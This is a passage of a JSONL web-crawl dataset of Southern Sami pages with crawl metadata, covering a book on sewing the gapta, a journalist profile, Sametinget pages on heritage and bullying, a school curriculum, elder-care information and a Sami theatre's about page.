1.0000003576278687}","num_words":278,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.09,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laila Gunilla Wilks\nGærjesne Åarjelsaemien gapta åadtjoeh åenehks histovrijes goerkelimmie aerpievuekien åarjelsaemien gapta bïjre, jïh guktie maahtah nyjsenæjja- jïh gaarmanæjja-gaptam gåarodh; gaptese veeljedh, maallh darjodh jïh gåarodh, sïlleste sïllese.\nGærjam learoehkidie jåarhkeskuvlesne sjeahta, mohte aaj gaajhkesidie gieh sijhtieh lïeredh guktie åarjelsaemien gapta maahtah gåarodh.\n------------\nI boka Åarjelsaemien gapta får man et kort historisk innblikk om tradisjonell sørsamisk gapta, og hvordan sy en kvinne- og mannskofte; materialevalg, mønsterlaging og sying steg-for-steg.\nBoka er skrevet for elever på videregåendetrinn, men passer også for andre som er interessert i å lære å sy gapta, en sørsamisk kofte.\nUtgitt: 2023-04\nInnbinding: Innbundet\nSider: 64\nSpråk: Sørsamisk\nISBN: 9788232901357\nForlag: Davvi Girji","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.gavpi.org\/duodji\/1930-aarjelsaemien-gapta.html","date":"2023-06-07T06:53:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224653608.76\/warc\/CC-MAIN-20230607042751-20230607072751-00207.warc.gz","language":"sma","language_score":0.9569550753,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.956955075263977, \"sme_Latn_score\": 0.036869172006845474}","num_words":104,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.048,"flagged_words_ratio":0.0,"lang_id_score":0.973,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Musihke jïh teatere\nRaasten rastah vihkeles juktie almetjh maehtieh tjåanghkenidh jïh gaavnedidh, tjåanghkoesæjjan gusnie saemien kultuvre jïh ektievuekie jarngesne. Mijjen ulmie lea kvalitatijve buerie musihkem jïh teaterem faaledidh. Tjåanghkoesijjien ulmiedåehkie abpe fuelhkie, gaajhkide maam akt faalede.\nMijjieh aktöörigujmie dovne Sveerjeste Nöörjeste laavenjostebe. Vaajtelibie sijjie årrodh, gusnie noere saemieh maehtieh dej tjeahpoem vuesiehtidh.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/raastenrastah.no\/sma\/portfolio\/musihke-jih-teatere\/","date":"2023-06-07T22:08:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224654016.91\/warc\/CC-MAIN-20230607211505-20230608001505-00442.warc.gz","language":"sma","language_score":1.0000064373,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"sma_Latn_score\": 1.0000064373016357}","num_words":52,"character_repetition_ratio":0.027,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ailin Maria Danielsen (23) Elgåeste skïemtjesåjhtere-ööhpehtimmiem geervehti dæjmetje gïjren jïh vïenhti geajnoe guhkiebasse lij naa buajhkoes. Men bielie-mubpien jaepien mænngan lea journaliste NRK Saepmesne jïh saerniehoksehtæjja Ođđasatesne.\nDaelie måanta aerede jïh Ailin barkose vaadtsa gosse dejnie tellefovnesne soptsestibie. Dïhte Karasjohkesne jïh edtja Ođđasatem stuvredh dej göökte båetiji våhkoej. Dïhte joe golme saadtegh tjïrrehtamme goh saernie-hoksehtæjja aarebi daan tjaktjen.\nDaan aejkien seadtasabpa. Dïhte daajra maam edtja darjodh.\nMEN IDTJI MAA dam darjoeh dæjmetje gïjren. Dïhte skïemtjesåjhtere-ööhpehtimmiem geervehti Grimstadesne Sørlandesne, jïh aerviedi satne edtji aelkedh skïemtje-såjhterinie barkedh. Jïh aaj vihtienasse Agderen universiteeteste, maam aadtjen lij åådtjeme, ojhte vuesiehti dïhte edtji dam darjodh.\nMen idtji gujht numhtie sjïdth. Jïh saaht guktie, ij lij naan dåeriesmoere aktese mij lyjhkoe soejkesjidh ajve aktede askeste don måbpan, guktie jïjtje jeahta. Dïhte lyjhkoe ånnetji vielie daesnie jïh daelie jieledh.\n- Jïh nov gujht ånnetji luste. Ij lij gujht daejnie manne veanhtadim manne edtjim barkedh akten jaepien juassah.\nGUKTIE dïhte mij skïemtjesåjhtere-studeentine orreme saerniehoksehtæjjine abpe laanten TV-sjeermine sjïdti, lea jeenjemasth faahketji heannadimmiej gaavhtan. Men ij leah dagke dan rovnege. Dah gujht göökte eevre joekehts barkoeh.\nMænngan lij lohkemem galhkeme vikarijaatem skïemtje-såjhterinie Romsesne åadtjoeji akten barkijeleejjestimmie-sïelten tjïrrh. Daate barkoe-boelhke uktsie våhkoeh ryöhki, jïh Ailin såemies dåajvoeh åådtjeme vielie barkoen bïjre, men idtji læjhkan maehtieh dam faalehtidh.\n- Göökte biejjieh mænngan gyhtjelassem åadtjoejim mov aajkoehkistie, mij NRK Saepmesne barka. Dah naakenem daarpesjin dejtie åarjelsaemien raadijove-saadtegidie. Manne gujht ussjedim «man åvteste ij» jïh ohtsemem sïjse seedtim. Manne barkoem åadtjoejim jïh joekoen hijvenlaakan tråjjedem! Raaktan daelie mov barkoe-latjkoe daan jaepien minngie-geatjan ryöhkoe, men orrejaepien edtjem vikaarine jåerhkedh.\nÅNNETJI SJEAVOHTS sjædta mubpene gietjesne gosse mubpiem gyhtjelassem gihtjebe. Ailin jeahta satne tjoeri kaarhtem jïh otnjegidie goerehtidh,jïh birrie mijjem ikth vielie gihtjedh. Dïhte vaadtsa jïh ij leah geajnoejgujmie Karasjohkesne åahpenamme, föörhkedihks jeahta. Dïhte tjuara hïnnedh beapmoe-bovresne mïnnedh åvtelen barkoe-biejjie aalka bielie luhkieakte.\nMijjieh badth aktine eevre seadtoes saernie-hoksehtæjjine soptsestibie. Jalhts naa gellie TV-vuartasjæjjah dovne Nöörjesne, Sveerjesne jïh Soemesne edtjieh altese barkoebiejjiem gellielaakan iktedidh jïh vuarjasjidh, ij leah dearkoes.\n- VOESTES BIEJJIEN gosse lim saernie-hoksehtæjja Ođđasatesne lim gaajh dearkoes. Dam lim abpe biejjiem. Dagke leam annje ånnetji dearkoes eevre saadtegen åvtelen, men rïektesisnie manne ajve tjarke skraejriem åadtjoem gaajhkeste. Saadtegen mænngan adrenalin-kickem damtem, jïh mahte vaajtelem saadtege lij guhkebe orreme. Hehe.\n- Datne dagke artiste? Dagke buerebh lih sïjhteme pop-naestine jallh plearoeh årrodh?\nAilin föörhkede.\n- Ijje maa, dam gujht jïejkem. Im maehtieh Iaavlodh!\nDaelie maaje hohke maana-TV-gaagkoe Binnabánnáš åarjel-saemien gïelesne lååvle, jïh manne leam dïhte gïele desnie, men dïhte gaajhke. Men manne sosijaale, geerjene jïh eahtsam almetjigujmie barkedh. Numhtie sån manne daan barkose sjïehtem. Im bïllh uvtemes årrodh.\nJEANATJOMMESE barkoste ij vuartasjæjjaj åvtene dorjesovvh, jïh dah eah barkoem vuarjesjh. Jïh dagke dïhte bööremes Ailinese aaj. Tæjmoeh saadtegen åvtelen lea joekoen fuehpies. Dellie tjuara radtjoeslaakan barkedh.\nAltese laavenjassh leah hijvenlaakan saerniejgujmie åahpenidh mah journalistijste båetieh. Dïhte edtja åehpiedehtemh darjodh saernide,, jïh geehtedh gïele dan hijven sjædta guktie gåarede, dïhte tuhtjie dïhte mij jeenjemes balta lea satne Ođđasatem stuvrie åarjel-saemien gïelesne.\n- DÏHTE dan joekoen isveligs ij leah jeenjesh mah åarjel-saemien maehtieh jïh dan åvteste damtem mov lea stoerre dïedte. Lissine dan jeenjesh mah vuartasjieh! Men raaktan joekoen hijven gåaradamme. Manne hijven bïevnesh bååstede åådtjeme. Govloe goh doh jeanatjommesh leah madtjele. Jïh juktie Vaino Rensberg lij dïhte voestes mij Ođđasatem åarjel-saemien gïelesne stuvri, dellie aelhkebe orreme munnjien.\nJÏJTJE damti ov goh gïele-daajroeh li rååsteme. Dïhte mahte fïerhtem barkoem baakoe-gærjesne gïehtjedi, jalhts jeenjemasth deejri guktie baakoe tjaalasåvva. Lissine hijven viehkiem staeriedimmine jïh jeatjah gïeleldh dåeriesmoerigujmie åådtje seamma almetjistie mij daam portrehtem jarkoestamme. Im leah perfeksjovniste, men tuhtjem læjhkan gaajhke edtja reaktoe sjïdtedh. Aalkoelisnie manne straavvim mejtie mov daemien lij nuekie hijven, Ođđasat lea dan vihkeles areena mijjen gïelese.\n- Minngemes våhkoen lïerehtimmien åvtelen guarkajim boelhkh goh saernie-hoksehtæjja sïjhtin barkoes sjïdtedh. Jïh akten ståanten dle aaj ussjedim «mejtie min dam buektehtem»? Haha. Men åssjaldahke varke gaarvani. Daate lea akte dejstie lustemes laavenjassijste mov barkosne. Sïejhmemes leam journaliste mijjen kontovresne Tråantesne.\nAilinen duekesne govlebe altese barkoe-voelph mah satnem buerie båeteme bååstede vaajtelieh. Dïhte NRK-gåatan båateme. Dïhte mijjem tjirkie sov lea ohtje tïjje aajmene åvtelen måanta jïh itjmie rïektesisnie aalka.\nSAERNIEH korona-vijrusen bïjre leah aamhtesi gaskem mejtie daan beajjetje saadtegisnie åehpiedahta. Jis ij lij journalistine aalkeme, dellie lij san sïjhteme aktem jeatjah ektiedimmiem vijrusasse åtneme. Dellie sin vijrusen lïhkebe orreme.\n- Datne geerjene datne ih skïemtje-såjhterinie barkh korona-boelhken?\n- Dovne jaavoe jïh ijje. Manne tuhtjem dah mah tjarke barkeme jïh annje tjarke barkeminie leah dan joekoen åajvoeh barkoem dorjeme. Men dïedtem ånnetji damteme, manne goh ööhpehtamme skïemtjesåjhtere, leam buerebh byöreme healsoe-suerkesne viehkiehtamme. Seamma tïjjen geerjene manne im leah bielie destie raaktan daelie. Manne gujht bïevnesh åådtjeme barkijeleejjestimmie-sïelteste gusnie dæjman barkim, dah jienebh skïemtje-såjhterh ohtsedieh.\nAKTEN BIEJJIEN Ailin sån sæjhta skïemtje-såjhterinie barkedh vihth. Ij vïenhth satne sæjhta journalistine barkedh abpe sov barkoe-jieledem.\nOrre-jaepien edtja vikaarine årrodh NRK:sne jïh dellie aaj astoem åådtje jeatjah aath darjodh. Dan åvteste edtja aehtjebem baejese vaaran dåeriedidh jïh vielie båatsoen bïjre lïeredh.\nSjaavnjoe lea lïerehtæjjine sjïdtedh jïh eksamenem vaeltedh båatsoe-faagesne. Sæjhta goerehtidh mejtie sjeahta sutnjien båatsosne barkedh, jalhts vïellebe sån aaj dam sæjhta. Tïjje åådtje vuesiehtidh guhte dejstie mij bovtsigujmie aalka gosse aehtjebe orreje.\n- MANNE SÏJHTEM dååjredh dan jïjnjem goh gåarede. Manne mån dagkeres JAAVOE-almetje gellielaakan. Rïektesisnie im daejrieh mejnie sïjhtem barkedh båetijen aejkien. Daelie maa ajve barkoe, barkoe jïh vihth barkoe mij lea jarngesne dej båetiji våhkoej. Fuehpede sjædta, men aavodem. Jïh nov sån eantan vielie Ođđasat munnjien sjædta aaj mænngan, minngemes jeahta.\nTsåahka bielie govhte sjædta. Aalkoe-tjoeje govlesåvva jïh Ođđasat maahta aelkedh. Barkoe-biejjie retnoe nåhkeme. Ailin tjuara ajve voestegh almetji TV-sjeermi sïjse tjaangestidh.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ndla.no\/nb\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:2:8b8e1139-e745-4a35-ac43-c408d90b6467\/resource:00adb3ad-a22c-4e67-8c29-cd11f342b507","date":"2023-06-02T03:01:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224648245.63\/warc\/CC-MAIN-20230602003804-20230602033804-00106.warc.gz","language":"sma","language_score":1.0000008345,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000008344650269}","num_words":898,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gellie saemieh leah mytajgujmie, soptsesigujmie jïh aerpievuekien åssjalommesigujmie byjjenamme mah daamtaj leah vïedteldihkie eatnamasse. Daagkerh maehtieh årrodh aerpievuekien saemien bivtemevuekiej, bovtsen rahtjemegeajnoej jïh gæjmoej bïjre, gåabph bööremes vaedtsedh våålese vaereste jïh tjirries gaaltiji bïjre. maahta aaj sijjieh årrodh gubpede sjïere religijööse soptsesh. Dagkerh båarasåbpoe mytah, soptsesh jïh åssjalommesh leah daamtaj persovneles eekesne, dååjrehtimmiejgujmie ektine jïh vïedteldahkesne jahts tïjjejoekehtsh. Eatnamisnie mïnnedh lea måjhtajehtemem åadtjodh, ij ajve heannadimmiej bïjre åvtetjen aejkien, men aaj guktie eatnamisnie dåemiedi jïh eatnemen aarvoej bïjre.\nHistovrijes bïevnesh sijhtieh vihkeles viehkine årrodh juktie saemien identiteetem jïh ektiedimmiem gorredidh aarebi maadtoej dajvide, jïh destie dejtie histovrijes roehtside nænnoestidh jïh jåerhkedh mejtie daate eatneme lea daan beajjetje jïh båetijen aejkien boelvide.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/sametinget.no\/kultuvremojhtese-jih-gaetievaarjelimmie\/maam-akt-baeries-gaavneme\/histovrijes-bievnesh\/","date":"2023-05-29T19:50:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224644907.31\/warc\/CC-MAIN-20230529173312-20230529203312-00402.warc.gz","language":"sma","language_score":1.0000070333,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000070333480835}","num_words":111,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.216,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Skuvlebyjrese jïh skuvleevtiedimmieSaemiedigkieraerie sæjhta irhkemem giehpiedidh. Mijjieh vïenhtebe gaajhkh maanah jïh noerh reaktam utnieh byjjenimmie- jïh lïeremebyjresidie gusnie ij leah irhkeme jïh trïegkenasse. Dan åvteste barkoe lissehteminie irhkemen vööste skuvline, maanagïertine, astoeaejkien sijjine jïh kraannaj gaskemsh. Daate dov noeri jïh geerve almetji dïedte.Maam darjoeh gosse irhkemem vuajnah? Aelhkemes lea jårredh, ovgoh ij dam vïhtesjh. Ussjedidh; naaken byöroe bïeljelidh. Datne leah dïhte «naaken». Bïeljelidh lohkehtæjjese, saavrehtæjjese jallh jeatjah geerve almetjasse. Jallh dagke ryöktesth bïeljelidh dïsse mij irhkie?Vuestie-irhkemebarkoe ij naan aarvoem utnieh jis ij låhkoem giehpedh maanijste, noerijste jïh geerve almetjijstie mah irhkemem jïh trïegkenassem dååjroeh. Mijjieh daejrebe daate skuvlesne, skuvlegeajnosne, gaarvoetjiehtjielinie jïh astoeaekien darjoeminie heannede. Desnie gusnie almetjh leah.Daesnie viehkiem jïh skraejriem gaavnh barkosne irhkemen vööste jïh akten hijven psykososijaale byjresen åvteste:Vaaksjoeh nedtesijjiem Null mobbing","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/sametinget.no\/lierehtimmie\/skuvlebyjrese-jih-skuvleevtiedimmie\/","date":"2023-06-09T19:00:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224656788.77\/warc\/CC-MAIN-20230609164851-20230609194851-00298.warc.gz","language":"sma","language_score":1.000005722,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.0000057220458984}","num_words":124,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.121,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nVaadtasovvemejaepie\n2017\nFaage\nDaltese\nGiele\nISBN\n978-82-93402-23-7\nFormaate\nSïejhme gærja\nReakta-aajhtere\nMarry Áilonieida Somby, Ingrid Jangaard Ousland\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n28\nMaanagærja Biejjien nïejten bïjre, åarjelsaemiengïelesne.\nDennie saemien jaahkosne Biejjie dïhte åajvahkommes. Biejjie sov nïejtem saemiej gåajkoe seedti, juktie saemide leeredh guktie bovtsigujmie barkedh.\nAlits dan båeries sjïdteme, guktie bïegke daelie aelkieminie tjaebpies, tjeakoes vuelieh joejkestidh. Lïereminie hov aaj guktie edtja nåejtine sjïdtedh, mohte tjoevere aaj mïnnedh vijredh. Dellie biejjiennïejtem råaka, gie sutnjien vuesehte guktie edtja bovtsh deemedh.\nIngrid Jangaard Ousland guvvide guvviedamme jïh Maja Lisa Kappfjell gærjam åarjelsaemiengïelese jarkoestamme.\nOvttas|Aktan|Aktesne bruker også analyseverktøy, dette for å forbedre og videreutvikle nettstedet.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ovttas.no\/sma\/girji_biejjien-niejte","date":"2023-06-08T04:00:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224654097.42\/warc\/CC-MAIN-20230608035801-20230608065801-00137.warc.gz","language":"sma","language_score":0.9999428988,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999428987503052}","num_words":103,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.058,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Englaantengïele (ENG01‑04)\nFaagen relevaanse jïh vihkeles aarvoeh\nEnglaantengïele lea vihkeles faage kultuvregoerkesasse, gaskesadtemasse, hammoedæmman jïh identiteeteevtiedæmman. Faage edtja learoehkidie våaromem vedtedh mubpiejgujmie gaskesadtedh voengesne jïh abpe veartenisnie, ovjearohke kulturelle jïh gïeleldh maadtoste. Englaantengïele edtja viehkiehtidh learohki gaskekulturelle goerkesem joekehts jieledevuekijste, ussjedimmievuekijste jïh gaskesadtememöönsterijstie evtiedidh. Faage edtja learoehkidie ryöjrehtidh akten ööhpehtæmman jïh seabradahke- jïh barkoejieliedasse mij englaantengïeleldh maahtoem kreava lohkemisnie, tjaeliemisnie jïh njaalmeldh gaskesadtemisnie.\nGaajhkh faagh edtjieh viehkiehtidh lïerehtimmien aarvoevåaromem realiseeredh. Barkoen tjïrrh faagine gaajhkh learohkh edtjieh jearsoe utnijh englaantengïeleste sjïdtedh, guktie maehtieh englaantengïelem nuhtjedh lïeredh, gaskesadtedh jïh baantem mubpide ektiedidh. Daajroe jïh kraanskoje geatskanimmie gïelese, gaskesadtememöönsteridie, jieledevuekide, ussjedimmievuekide jïh seabradahketsiehkide orre perspektijvh vedtieh veartenasse jïh jïjtsanne. Faage edtja viehkiehtidh learohki goerkesem evtiedidh guktie dah veartenem guarkoeh lea jearohke kultuvreste. Daate maahta jienebh vuekieh vedtedh veartenem toelhkestidh, viehkiehtidh tjetskehkevoetem jïh eadtjohkevoetem sjugniedidh, jïh meatan årrodh åvtelhaarvoeh hööptedh. Learohkh edtjieh åadtjoeh dååjrehtidh jienebh gïelh maehtedh lea vierhtie skuvlesne jïh seabradahkesne. Learoesoejkesje englaantengïelesne jïh learoesoejkesje learoehkidie væhtagïeline leah seammavyörtegs.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.udir.no\/lk20\/eng01-04\/om-faget\/fagets-relevans-og-verdier?lang=sma","date":"2023-05-31T18:53:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224647409.17\/warc\/CC-MAIN-20230531182033-20230531212033-00578.warc.gz","language":"sma","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000008463859558}","num_words":156,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.115,"stopwords_ratio":0.128,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bæjhkoje\nSaemien lohkemejarnge, Elgå skuvle\nFaage\nGiele\nAamhtesh\nViehkiebaakoe\nSpïele \"Jeatjah baakoejgujmie\" hijven njaalmeldh gïeleevtiedimmese.\nSpïele \"Med andre ord\" gååvnese åestedh gaskeviermesne nöörjen jallh sveerjen gïelesne. Mijjieh jovhth spïelese saemiengïelesne dorjeme. Govhte bielieh baakoejgujmie gååvnesieh. Tjoerh dejtie bietskiedidh jïh njimkehtidh jovhti jovhte bijjelen gusnie nöörjen\/sveerjen baakoeh. Maalle aaj gååvnese, gosse maahtah orre baakoeh tjaeledh. Njoelkedassh spïelesne gååvnese. Lahkoe spïeline!\nMaalle daesnie gååvnese.\nOvttas|Aktan|Aktesne bruker også analyseverktøy, dette for å forbedre og videreutvikle nettstedet.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ovttas.no\/sma\/dokumenta_spiele-jeatja-baakoejgujmie","date":"2023-06-07T19:40:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224654012.67\/warc\/CC-MAIN-20230607175304-20230607205304-00585.warc.gz","language":"sma","language_score":0.9999902248,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999902248382568}","num_words":73,"character_repetition_ratio":0.028,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.041,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Voereshokse maahta jearsoesvoetelaarme, gåetie viehkie, biejjie barkoe, sujhteme jih hokseårromesijjie. Stuehkien staare maaksoem voereshoksen åvteste vaalta.\nReaktoe voereshoksem åarjelsaemien gielesne åadtjodh\nStuehkien staare lea åarjelsaemien reeremedajve. Daatne mij lea daan nasjonelle unnebelåhkosne åtna sjiere reaktoeh. Daatne nuepiem åtna jih saemiestidh dejnie staarene dov gïelesne, ryökneme jih tjaaleme gïelesne. Daatne aaj nuepiem voereshoksem åadtjodh dov ietniengïelesne.\nVoershoksem ohtsedh\nMuvhth dah viehkie åvteste tjoerh syökedh. Dihte lea staaredajven dåarjomegietedäjja mij nännoestimmem dorje magkeres viehkiem åadtjoeh. Dov darpoe stuvrie magkeres viehkiem åadtjoeh.\nVoeres jaksh (Äldre direkt) maahta datnem viehkiehtidh jih dårjomegietedäjjam jaksedh dov staaredajvesne gusnie årroeminie.\nTelefovne: 08 80 65 65\nE-påaste: email@example.com\nGåessie nännoestimmem åådtjeme maahta veeljedh gie mij edtja datnem viehkiehtidh. Gååvnese tjielte jih privaate viehkie.\nJearsoesvoete laarme\nJearsoesvoete laarme lea laarme tsåahka maam meatan åtna, maam gåetesne åtna bijjiem jih jijjem. Gåessie laarme tsåahkam diedtedh dellie Stuehkien staaren laarmejarngem jaksh.\nGåetie viehkie\nGåetie viehkie maahta datnem viehkiehtidh guktie maahtah gåetesne årrodh jih jearsoevoetem aarkebiejjesne åadtjodh. Gåetieviehkie maahta viehkiehtidh sjeakodh, beapmoe stealladidh jallh viehkiem abpe tijjem åadtjodh.\nBiejjiebarkoe\nBiejjiebarkosne maahtah jeatjah almetjh råakedh jih meatan ov-messie barkosne jallh sielskem barre utnedh. Maahta skovhtem biejjiebarkose jih gåatan åadtjodh.\nSujhteme jih hokseårrome\nSujhteme jih hokseårrome dihte lea årrome gusnie viehkiem jih hoksem åadtjoeh abpe biejjiem jih jijjem. Årrome sijjesne lea gaajhke viehkie maam daarpesjh.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/aldreomsorg.stockholm\/other-languages\/voereshokse\/","date":"2023-06-06T02:22:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224652207.81\/warc\/CC-MAIN-20230606013819-20230606043819-00306.warc.gz","language":"sma","language_score":1.0000044107,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 1.0000044107437134}","num_words":207,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.097,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjen bïjre\nOm oss\nJaepiebïevnese Årsmeldinger\nÅarjelhsaemien Teateren bïjre\nÅarjelhsaemien Teatere\/Sydsamisk Teater tseegkesovvi tsïengelen 1.b. 1985 båarasåbpoe åarjelsaemijste Nöörjeste jïh Sveerjeste, goh amatööreteateredåehkie laanteraastaj dåaresth. Teateren lij akte åejviesijjie Måehvesne jïh akte Dearnesne, Luspien tjïeltesne. Teaterinie sïjhtin åarjelsaemien gïelem jïh kultuvrem juekedh jïh vuesiehtidh.\nJaepien 2008 teatere juakasovvi akten nöörjen jïh akten sveerjen bealan. Skïereden 9 .b. 2012 nöörjen bielie akten AS:se jeatjahtovvi mij Saemiedigkie, Nordlaanten Fylhkentjïelte jïh Raanen tjïelte annje daan biejjien eekieh.\nÅarjelhsaemien Teatere åarjelsaemien scenekåanstem eevtjeminie jïh evtedeminie. Åarjelsaemien gïele jïh kultuvre leah jarngesne abpe barkosne. Teatere dam histovrijes laavenjostoem åarjelsaemien dajvine sveerjen raedtesne jåarhka, jïh lea teatere abpe åarjelsaemien dajvese Nöörjesne.\nÅarjelhsaemien Teatere profesjonelle tjiehpiedæjjajgujmie, amatöörigujmie, jeatjah teaterigujmie jïh nöörjen jïh saemien skuvligujmie barka.\nMijjieh seamma gåetesne goh Nordland Teater, Måehvesne. Teateren faageles jïh reereles barkijh mijjese vyörtegs jïh vihkeles viehkiem vedtieh, leah mijjen hijven barkoevoelph jïh mijjese skraejriem vedtieh.\nTeateren lea barkoebyjrese jïh mïrrestalleme goh maadthaarvoeh abpe barkosne.\nÅarjelhsaemien Teatere edtja:\n- Viehkiehtidh areenine årrodh mij identiteetem maanide jïh noeride sjugnede\n- Båetijen aajkan sjïehtedamme jïh orresjugneden årrodh\n- Amatööreteaterinie årrodh abpe dajvesne\n- Scenekåanstem evtiedidh jïh darjodh åarjelsaemien kultuvrevuekiejgujmie jïh gïeline goh akte dejstie vihkielommes tseegkijijstie\n- Scenekåanstem buektedh jolle kvaliteeteste vuartasjæjjide dovne saemien\ndajvine jïh saemien dajvi ålkoli\n- Sov aarebi neebneme darjomigujmie kulturelle pruvviebigkijinie årrodh\nmijjen jienebekulturelle siebriedahkesne\nOm Åarjelhsaemien Teatere\nÅarjelhsaemien Teatere\/Sydsamisk Teater ble etablert 1. januar 1985 av eldre sørsamer fra Norge og Sverige, som ei amatørteatergruppe på tvers av landegrensene. Teateret hadde et sete i Mo i Rana og et i Tärnaby i Storuman kommune. Med teater ville de dele og synliggjøre sørsamisk språk og kultur.\nI 2008 ble teateret delt i en norsk og en svensk del. Den 9. september 2012 ble den norske delen omgjort til et AS, som fremdeles den dag i dag eies av Sametinget, Nordland Fylkeskommune og Rana Kommune.\nÅarjelsaemien Teatere arbeider for å fremme og utvikle sørsamisk scenekunst. Sørsamisk språk og kultur står sentralt i alt arbeid. Teatret fortsetter det historiske samarbeidet med det sørsamiske området på svensk side, og er et teater for hele det sørsamiske området i Norge.\nÅarjelhsaemien Teatere arbeider med profesjonelle kunstnere, amatører, andre teater, norske- og samiske skoler.\nVi er i lokaler med Nordland Teater, Mo i Rana. Deres faglige og administrative personell bidrar med uvurderlig bistand, godt kollegialt samvær og kunstnerisk inspirasjon.\nTeateret har arbeidsmiljø og likestilling som kjerneverdier i alt arbeid.\nÅarjelhsaemien Teatere skal:\n- Være en medvirkende identitetsskapende arena for barn og ungdom.\n- Være fremtidsrettet og nyskapende\n- Virke for amatørteater i hele området, med kunstnerisk, teaterpedagogisk\nog samisk kulturfaglig bistand.\n- Utvikle og produsere scenekunst med sørsamiske kulturuttrykk og språk som en av grunnpilarene\n- Formidle samisk scenekunst av høy kvalitet, for publikum både i og utenfor de samiske områder\n- Med sine forannevnte aktiviteter virke som en kulturell brobygger i vårt flerkulturelle samfunn\nMijjen aajhtereh Våre eiere\nÅarjelhsaemien Teatere AS eies av Sametinget 55%, Nordland Fylkeskommune 30%\nog Rana kommune 15%\nStåvroe Styret\nStyret velges hvert 2. år og består av:\nRepresentanter\nLeder\nSiri Gaski, Sametinget\nRune Fjellheim (vara)\nStyremedlem\nNina Badendyck, Nordland fylkeskommune\nBeate Skogsholm (vara)\nStyremedlem\nJarl Stian Johansson, Rana kommune\nEve Rødfjell (vara)","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/asteatere.no\/mijjen-bijre\/","date":"2023-06-10T10:19:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224657169.98\/warc\/CC-MAIN-20230610095459-20230610125459-00495.warc.gz","language":"sma","language_score":0.9245244861,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9245244860649109, \"sme_Latn_score\": 0.053572818636894226, \"nob_Latn_score\": 